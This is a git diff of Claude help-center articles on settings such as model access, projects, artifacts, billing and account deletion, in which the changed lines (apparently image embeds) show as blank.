--- a/content/support/14503775-mcp-web-search.md
+++ b/content/support/14503775-mcp-web-search.md
@@ -4,7 +4,7 @@ The Web Search connector gives Claude the ability to search the public internet
For questions about web search in commercial Claude, see **[Enabling and using web search](https://support.claude.com/en/articles/10684626-enabling-and-using-web-search)**.
-
+
## How Web Search differs for Claude for Government
diff --git a/content/support/14604397-set-up-your-design-system-in-claude-design.md b/content/support/14604397-set-up-your-design-system-in-claude-design.md
index 75640b988..62b93e45a 100644
--- a/content/support/14604397-set-up-your-design-system-in-claude-design.md
+++ b/content/support/14604397-set-up-your-design-system-in-claude-design.md
@@ -72,7 +72,7 @@ To validate your design system, create a test project and see if the output matc
Once you’re satisfied with the design system quality, make sure the “Published” toggle is switched on. After publishing, any projects created from the Claude Design homescreen while in your organization will use your design system instead of the default.
-
+
---
diff --git a/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md b/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md
index 8c3b3340e..0517450d5 100644
--- a/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md
+++ b/content/support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md
@@ -18,7 +18,7 @@ Team and Enterprise plan admins can enable this organization-wide by following t
2. Find the **Claude Design** toggle under **Anthropic Labs** and switch it on.
-
+
---
diff --git a/content/support/14604416-get-started-with-claude-design.md b/content/support/14604416-get-started-with-claude-design.md
index 58eacd2df..89fe2cc65 100644
--- a/content/support/14604416-get-started-with-claude-design.md
+++ b/content/support/14604416-get-started-with-claude-design.md
@@ -153,7 +153,7 @@ Use the “Export” button in the upper right corner when viewing your project
- Send to Claude Code Web
-
+
You can also share projects within your organization using a shareable link. Sharing options include view-only, comment, and edit access.
diff --git a/content/support/15330088-set-a-default-model-for-your-organization.md b/content/support/15330088-set-a-default-model-for-your-organization.md
index d9116a592..a6fc9b5ff 100644
--- a/content/support/15330088-set-a-default-model-for-your-organization.md
+++ b/content/support/15330088-set-a-default-model-for-your-organization.md
@@ -46,7 +46,7 @@ The organization default applies to every member. To set it:
4. Click “Save changes.”
-
+
---
diff --git a/content/support/15694740-manage-model-access-for-your-organization.md b/content/support/15694740-manage-model-access-for-your-organization.md
index bec3ca0b4..382eb58b3 100644
--- a/content/support/15694740-manage-model-access-for-your-organization.md
+++ b/content/support/15694740-manage-model-access-for-your-organization.md
@@ -42,9 +42,9 @@ The organization setting is the ceiling, so a role can’t grant access to a mod
If any custom role uses the model you’re disabling as its default, you’ll be prompted to change that role’s default before the change can be saved.
-
+
-
+
---
@@ -62,7 +62,7 @@ If any custom role uses the model you’re disabling as its default, you’ll be
Only models the role grants access to can be selected as that role’s default model.
-
+
---
@@ -80,7 +80,7 @@ Effort limits determine how much computation members on a role can apply per res
5. Click "Save" to save your changes.
-
+
Members on the role see only effort levels at or below the cap in their model menu. Note that available effort levels differ depending on the model, and some models don’t support effort level settings at all. For an explanation of each level, see **[Change the model, effort, and thinking settings](https://support.claude.com/en/articles/8664678)**.
diff --git a/content/support/15936181-get-started-with-1password-for-claude.md b/content/support/15936181-get-started-with-1password-for-claude.md
index c068258e2..257fdc4a4 100644
--- a/content/support/15936181-get-started-with-1password-for-claude.md
+++ b/content/support/15936181-get-started-with-1password-for-claude.md
@@ -52,7 +52,7 @@ Once the requirements are in place, you can set up 1Password from a few places i
4. Toggle on **Password managers**:
-
+
Once enabled, eligible users will see the discovery options above. Users still need to install and set up the required apps and extensions themselves.
diff --git a/content/support/8114491-get-started-with-claude.md b/content/support/8114491-get-started-with-claude.md
index 3c54babc3..20b177dc7 100644
--- a/content/support/8114491-get-started-with-claude.md
+++ b/content/support/8114491-get-started-with-claude.md
@@ -36,7 +36,7 @@ You use **prompts** to communicate with Claude. The best approach is to speak to
Type your prompt into the chat interface and click the submit button to start a conversation with Claude. You can click the "+" button in the lower left or type "/" to view additional options and commands:
-
+
---
diff --git a/content/support/8230524-how-can-i-delete-or-rename-a-conversation.md b/content/support/8230524-how-can-i-delete-or-rename-a-conversation.md
index da36f214f..f351456ea 100644
--- a/content/support/8230524-how-can-i-delete-or-rename-a-conversation.md
+++ b/content/support/8230524-how-can-i-delete-or-rename-a-conversation.md
@@ -12,7 +12,7 @@ To delete or rename an individual conversation:
3. Select either "Delete" or "Rename" from the options that appear:
-
+
## Deleting conversations in bulk
diff --git a/content/support/8287232-verify-your-phone-number.md b/content/support/8287232-verify-your-phone-number.md
index 6074fafde..9ccb14185 100644
--- a/content/support/8287232-verify-your-phone-number.md
+++ b/content/support/8287232-verify-your-phone-number.md
@@ -2,7 +2,7 @@
When you first create a Claude account, you’ll be asked to enter your phone number from a **[supported location](https://support.claude.com/en/articles/8461763-where-can-i-access-claude)** to receive a verification code via text message:
-
+
Once you receive the text message with the code, type it into the box and click “Verify code.” This will complete the verification and account creation process and allow you to start chatting with Claude.
diff --git a/content/support/8325618-paid-plan-billing-faqs.md b/content/support/8325618-paid-plan-billing-faqs.md
index 6ce1e55c2..3c97526c0 100644
--- a/content/support/8325618-paid-plan-billing-faqs.md
+++ b/content/support/8325618-paid-plan-billing-faqs.md
@@ -50,7 +50,7 @@ There's no separate option to remove a card, and updating to a new card replaces
If you want to use a name other than the one tied to your payment method, check the "Use a different name on invoices" box when adding or updating your payment method in **[Settings > Billing](https://claude.ai/settings/billing)**.
-
+
## How can I edit a paid invoice?
diff --git a/content/support/8606378-how-do-i-use-the-workbench.md b/content/support/8606378-how-do-i-use-the-workbench.md
index b5917fb07..9744a81a6 100644
--- a/content/support/8606378-how-do-i-use-the-workbench.md
+++ b/content/support/8606378-how-do-i-use-the-workbench.md
@@ -68,15 +68,15 @@ Code examples in our documentation include an "Open in Workbench" option, which
Workbench (legacy) allows you to create and test prompts within your Claude Console account. You can enter your prompt into the "Human" dialogue box and click "Run" to test Claude's output. Click on the + icon in the upper left to create a new prompt, or click on the bulleted list icon to see prompts you've tested in the past:
-
+
Workbench (legacy) also allows you to configure several settings when prompting Claude. You can click on the slider icon to review your model settings. This allows you to select the model, temperature, and max tokens to sample:
-
+
After crafting your prompt, click on the "Get code" button to generate a sample using our Python and Typescript SDKs:
-
+
## How can I access my previous work and prompt history in Workbench (legacy)?
@@ -88,7 +88,7 @@ You can access your previous Workbench prompts on your Console account by follow
3. Click the "List prompts" button on the upper left corner of the page, next to the "+" button to create a new prompt:
-
+
4. A list of your previously-saved prompts will appear.
diff --git a/content/support/8887527-customizing-your-appearance-settings.md b/content/support/8887527-customizing-your-appearance-settings.md
index 0621bd8fe..90f31ebcd 100644
--- a/content/support/8887527-customizing-your-appearance-settings.md
+++ b/content/support/8887527-customizing-your-appearance-settings.md
@@ -8,7 +8,7 @@
3. Select from Light, Match System, and Dark under **Color mode**.
-
+
## How to change your font
@@ -16,10 +16,10 @@
2. Select from Default, Match System, and Dyslexic Friendly.
-
+
## Can I disable the sidebar?
It's not currently possible to completely disable the sidebar. You can click the button on the top right of the sidebar to open or close it.
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/content/support/9028421-how-can-i-delete-my-claude-account.md b/content/support/9028421-how-can-i-delete-my-claude-account.md
index 9a45bb1a0..cd589e00f 100644
--- a/content/support/9028421-how-can-i-delete-my-claude-account.md
+++ b/content/support/9028421-how-can-i-delete-my-claude-account.md
@@ -2,7 +2,7 @@
Once you are logged in, click your initials or name in the lower left corner and select "Settings." Navigate to **[Settings > Account](https://claude.ai/settings/account)** and click the "Delete account" button:
-
+
## Considerations for paid Claude accounts
@@ -20,4 +20,4 @@ If you have multiple accounts associated with the same email address, you'll nee
There are some scenarios where you will need to **[contact our team](https://support.claude.com/en/articles/9015913-how-to-get-support)** to delete your account. If this is the case, it will be noted in your account:
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md b/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md
index 9203dd32e..17a6cec52 100644
--- a/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md
+++ b/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md
@@ -120,7 +120,7 @@ For the full walkthrough of your options, deadlines, and what happens to your su
You may have both a personal account and an organization account tied to the same email address. You can switch between them by clicking your initials or name in the lower left corner of the screen.
-
+
A blue checkmark shows which account you're currently using. Click the other account to switch to it and access its separate conversations and projects.
diff --git a/content/support/9519177-how-can-i-create-and-manage-projects.md b/content/support/9519177-how-can-i-create-and-manage-projects.md
index 17bf47d69..6055ee2cf 100644
--- a/content/support/9519177-how-can-i-create-and-manage-projects.md
+++ b/content/support/9519177-how-can-i-create-and-manage-projects.md
@@ -104,19 +104,19 @@ Starring a project allows for quick access from your projects and chats list, vi
You can move a standalone chat into a project by clicking on the dropdown arrow next to the chat name, then “Add to project”:
-
+
Browse or search for the correct project in the **Move chat** modal that appears, then click on it to move the chat.
-
+
You can also remove chats from projects, or move them between projects, using the same dropdown menu within the chat:
-
+
You can move chats into projects in bulk from **[Your chat history page](https://claude.ai/recents)**:
-
+
Select the chats you want to move, then click the icon next to the number of selected chats to move them into your project.
diff --git a/content/support/9519189-manage-project-visibility-and-sharing.md b/content/support/9519189-manage-project-visibility-and-sharing.md
index 2ca778fc1..0a8efeec4 100644
--- a/content/support/9519189-manage-project-visibility-and-sharing.md
+++ b/content/support/9519189-manage-project-visibility-and-sharing.md
@@ -12,7 +12,7 @@ When creating a project on a Team or Enterprise plan, you can choose between two
- **Private:** Only invited members can view and use the project.
-
+
## What are public projects?
@@ -22,11 +22,11 @@ If you choose to share a project with the rest of your organization upon creatio
Yes, you can switch the visibility of a project you created as public to private at any time by opening the project and clicking the “Share” button to the right of the project name:
-
+
Click “Everyone at [your organization]” under **General access** and select “Only people invited” to change the project from public to private:
-
+
## What are private projects?
@@ -36,11 +36,11 @@ Choosing “Only people invited” keeps your project private so that you are th
Yes, you can switch the visibility of a project you created as private to public at any time by opening the project and clicking the “Share” button to the right of the project name:
-
+
Click “Only people invited” under General access and select “Everyone at [your organization]” to change the project from private to public:
-
+
## Add and remove access to private projects
diff --git a/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md b/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md
index 6d9a0ed9c..6007deb27 100644
--- a/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md
+++ b/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md
@@ -8,7 +8,7 @@ The Claude Console provides detailed cost and usage reporting to help you effect
Users with access to these reports can click into them on the left navigation menu on the Console:
-
+
---
@@ -46,9 +46,9 @@ The [Usage page](https://platform.claude.com/usage) offers a detailed breakdown
6. Use the export button to download a CSV of the displayed data.
-
+
-
+
### Rate Limit Use
@@ -88,6 +88,6 @@ The [Cost page](https://platform.claude.com/cost) helps you understand your spen
5. Use the export button to download a CSV of the cost data.
-
+
**Note**: Currently, it's not possible to break down usage or cost by individual users.
\ No newline at end of file
diff --git a/content/support/9547008-publish-and-share-artifacts.md b/content/support/9547008-publish-and-share-artifacts.md
index c77fa5727..da1f50d23 100644
--- a/content/support/9547008-publish-and-share-artifacts.md
+++ b/content/support/9547008-publish-and-share-artifacts.md
@@ -56,11 +56,11 @@ Publishing also adds the artifact to the **[Artifacts](https://claude.ai/artifac
After publishing, you'll see a “Get embed code” button.
-
+
Click it to open a modal with automatically generated code you can copy and paste to embed your artifact on another website.
-
+
You must specify which websites can embed your artifact by entering URLs in the **Allowed domains** field, separated by commas.
@@ -116,7 +116,7 @@ Artifacts created on Team or Enterprise accounts can only be shared within your
4. Click “Share & copy link” to make this version shareable.
-
+
### Who can access shared artifacts
@@ -138,7 +138,7 @@ When you share an artifact, viewers also gain access to any attachments and file
2. In the **Artifact shared** modal, click “Unshare.”
-
+
---
diff --git a/content/support/9927533-disable-public-projects-for-your-organization.md b/content/support/9927533-disable-public-projects-for-your-organization.md
index 216226c84..508754d9a 100644
--- a/content/support/9927533-disable-public-projects-for-your-organization.md
+++ b/content/support/9927533-disable-public-projects-for-your-organization.md
@@ -10,7 +10,7 @@ Follow these steps:
2. Find **Public projects** and toggle it off
-
+
## How does disabling public projects work?
A response to a request that indicates an error occurred.